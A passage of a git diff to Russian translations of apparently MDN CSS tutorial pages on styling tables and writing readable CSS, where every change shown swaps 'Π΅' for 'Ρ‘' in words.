-<p>Π­Ρ‚ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ячСйку Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠΉ, Π° "Π±Ρ€Π°Ρ‚" ΠΏΠ΅Ρ€Π²ΠΎΠΉ ячСйки ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки Π·Π°Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠΉ (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ 2-я ячСйка) . <span id="result_box" lang="ru"><span>Они Π²Π»ΠΈΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΎΠ΄Π½Ρƒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅:</span></span>:</p>
+<p>Π­Ρ‚ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ячСйку Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠΉ, Π° "Π±Ρ€Π°Ρ‚" ΠΏΠ΅Ρ€Π²ΠΎΠΉ ячСйки ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠΉ (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ 2-я ячСйка) . <span id="result_box" lang="ru"><span>Они Π²Π»ΠΈΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΎΠ΄Π½Ρƒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅:</span></span>:</p>
<pre class="brush:css">#data-table-1 td:first-child {text-decoration: underline;}
#data-table-1 td:first-child + td {text-decoration: line-through;}
@@ -433,4 +433,4 @@ div.menu-bar li:hover &gt; ul {
<h2 id="Π§Ρ‚ΠΎ_дальшС">Π§Ρ‚ΠΎ дальшС?</h2>
-<p>Π’Π°ΡˆΠ° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠ»ΠΎΡ‚Π½ΠΎΠΉ ΠΈ слоТной. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ сСкция описываСт ΠΏΡƒΡ‚ΠΈ CSS <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">Π»Π΅Π³ΠΊΠΎΠ³ΠΎ чтСния</a>. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p>
+<p>Π’Π°ΡˆΠ° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠ»ΠΎΡ‚Π½ΠΎΠΉ ΠΈ слоТной. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ сСкция описываСт ΠΏΡƒΡ‚ΠΈ CSS <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">Π»Ρ‘Π³ΠΊΠΎΠ³ΠΎ чтСния</a>. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p>
diff --git a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
index c441ff992d..1203f44fc9 100644
--- a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
@@ -11,13 +11,13 @@ original_slug: Web/Guide/CSS/Getting_started/Π’Π°Π±Π»ΠΈΡ†Ρ‹
---
<p>{{CSSTutorialTOC}}{{previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/Layout", "Layout")}}</p>
-<p>Π­Ρ‚ΠΎ 13-я сСкция руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹</a>; ΠΎΠ½ΠΎ описываСт Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ сСлСкторы ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСцифичныС способы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ. Π’Ρ‹ создаСтС Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, содСрТащий Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй для Π½Π΅Ρ‘.</p>
+<p>Π­Ρ‚ΠΎ 13-я сСкция руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹</a>; ΠΎΠ½ΠΎ описываСт Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ сСлСкторы ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСцифичныС способы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ. Π’Ρ‹ создаётС Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, содСрТащий Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй для Π½Π΅Ρ‘.</p>
<h2 class="clearLeft" id="Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ_Π’Π°Π±Π»ΠΈΡ†Ρ‹">Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ: Π’Π°Π±Π»ΠΈΡ†Ρ‹</h2>
<p>Π’Π°Π±Π»ΠΈΡ†Π° располагаСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠΉ сСткС. НСкоторыС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ слоТными, ΠΈ для слоТных Ρ‚Π°Π±Π»ΠΈΡ† Ρ€Π°Π·Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π΄Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.</p>
-<p>Когда Π²Ρ‹ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅Β Π²Π°Ρˆ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ для выраТСния <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ</a> ΠΌΠ΅ΠΆΠ΄Ρƒ кусочками ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ это Π½Π΅ Π²Π°ΠΆΠ½ΠΎ, Ссли Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ слСгка Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ значСниС остаСтся ясным.</p>
+<p>Когда Π²Ρ‹ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅Β Π²Π°Ρˆ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ для выраТСния <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ</a> ΠΌΠ΅ΠΆΠ΄Ρƒ кусочками ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ это Π½Π΅ Π²Π°ΠΆΠ½ΠΎ, Ссли Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ слСгка Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ значСниС остаётся ясным.</p>
<p>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом для создания особСнной Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ. Π’Π΅Ρ…Π½ΠΈΠΊΠΈ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ страницС руководства (<strong><a href="/ru/docs/Web/Guide/CSS/Getting_Started/Layout" title="en-US/docs/Web/Guide/CSS/Getting_Started/Layout">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°</a></strong>) ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ для этой Ρ†Π΅Π»ΠΈ.</p>
@@ -161,7 +161,7 @@ original_slug: Web/Guide/CSS/Getting_started/Π’Π°Π±Π»ΠΈΡ†Ρ‹
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ пустыС ячСйки (Ρ‚.Π΅. ΠΈΡ… Ρ€Π°ΠΌΠΊΠΈ ΠΈ Ρ„ΠΎΠ½) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π² {{cssxref("empty-cells")}}: show; для элСмСнта Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΡ…, ΡƒΠΊΠ°Π·Π°Π² <code>empty-cells: hide;</code>. Π’ΠΎΠ³Π΄Π°, Ссли Ρƒ элСмСнта родитСля ячСйки Π΅ΡΡ‚ΡŒ Ρ„ΠΎΠ½, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡƒΡΡ‚ΡƒΡŽ ячСйку.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΡ…, ΡƒΠΊΠ°Π·Π°Π² <code>empty-cells: hide;</code>. Π’ΠΎΠ³Π΄Π°, Ссли Ρƒ элСмСнта родитСля ячСйки Π΅ΡΡ‚ΡŒ Ρ„ΠΎΠ½, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Ρ‡Π΅Ρ€Π΅Π· ΠΏΡƒΡΡ‚ΡƒΡŽ ячСйку.</p>
<div class="tuto_example">
<div class="tuto_type">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</div>
@@ -431,7 +431,7 @@ original_slug: Web/Guide/CSS/Getting_started/Π’Π°Π±Π»ΠΈΡ†Ρ‹
</tbody>
</table>
</li>
- <li>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅ дСйствиС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°. Если Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, Ρ‚ΠΎ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ измСнилось. Π’ΠΎΡ‚ нСсколько Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΎΠ± этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅:
+ <li>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅ дСйствиС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°. Если Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, Ρ‚ΠΎ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ измСнилось. Π’ΠΎΡ‚ нСсколько Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΎΠ± этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅:
<ul>
<li>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ находится снаруТи Ρ€Π°ΠΌΠΊΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</li>
<li>Если Ρƒ вас установлСн ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² ΠžΠΏΡ†ΠΈΡΡ…, это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ индСкс в km<sup>2</sup>.</li>
diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
index 450003b569..cb90e2d8c7 100644
--- a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
@@ -17,9 +17,9 @@ original_slug: Web/Guide/CSS/Getting_started/Readable_CSS
<p>ΠŸΡƒΡΡ‚ΠΎΠ΅ пространство ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ фактичСскиС ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹, Ρ‚Π°Π±ΡƒΠ»ΡΡ†ΠΈΡŽ, Π° Ρ‚Π°ΠΊΠΆΠ΅Β Π½ΠΎΠ²Ρ‹Π΅ строки. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄Β Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ.</p>
-<p>Π’ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы, Π΄Π°Π½Π½ΠΎΠ΅ пространство β€” это Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ, которая остаСтся Π±Π΅Π· ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠ²: отступы ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов (margin)Β ΠΈ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ строками.</p>
+<p>Π’ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы, Π΄Π°Π½Π½ΠΎΠ΅ пространство β€” это Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ, которая остаётся Π±Π΅Π· ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠ²: отступы ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов (margin)Β ΠΈ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ строками.</p>
-<p>Π’Π°Ρˆ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π° CSS Π² настоящСС врСмя ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² ΠΎΠ΄Π½ΠΎΠΉ строкС, ΠΈ ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ². Π’ комплСксС стилСй эта схСма Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΡΡ‚ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΡΡ‚ΡŒ, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π² Π½Π΅Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния.</p>
+<p>Π’Π°Ρˆ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π° CSS Π² настоящСС врСмя ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² ΠΎΠ΄Π½ΠΎΠΉ строкС, ΠΈ ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ². Π’ комплСксС стилСй эта схСма Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΡΡ‚ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΡΡ‚ΡŒ, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π² Π½Π΅Ρ‘ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния.</p>
<p>Π‘Ρ‚ΠΈΠ»ΡŒ написания ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, зависит ΠΎΡ‚Β Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΉ, Π½ΠΎ Ссли ваши css ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΎΠ±Ρ‰ΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ², ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ трудности с ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΠΌ вашСго написания ΠΊΠΎΠ΄Π°.</p>
@@ -119,7 +119,7 @@ h1, h2, h3 {color: navy;}
p {color: blue;}
</pre>
</li>
- <li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅Β Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, пСрСстраивая Π΅Π³ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΈ примСняя ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π½Π° своС усмотрСниС.</li>
+ <li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅Β Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, пСрСстраивая Π΅Π³ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΈ примСняя ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π½Π° своё усмотрСниС.</li>
<li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ экран Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваши измСнСния Π½Π΅ повлияли Π½Π° Ρ€ΠΎΠ±ΠΎΡ‚Ρƒ стилСй:
<table style="border: 2px outset #36b; padding: 1em;">
<tbody>
@@ -164,4 +164,4 @@ One way to do this is to put comment delimiters around the rule for <code>.carro
<h2 id="Π§Ρ‚ΠΎ_дальшС">Π§Ρ‚ΠΎ дальшС?</h2>
-<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Π’Π°Ρˆ ΠΎΠ±Ρ€Π°Π·Π΅Ρ† Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй использовал курсивный тСкст ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ тСкст. На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницС описаны нСсколько способов, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles">ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ внСшний Π²ΠΈΠ΄ тСкста</a>Β Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅<strong>.</strong></p>
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Π’Π°Ρˆ ΠΎΠ±Ρ€Π°Π·Π΅Ρ† Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй использовал курсивный тСкст ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ тСкст. На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницС описаны нСсколько способов, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles">ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ внСшний Π²ΠΈΠ΄ тСкста</a>Β Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅<strong>.</strong></p>
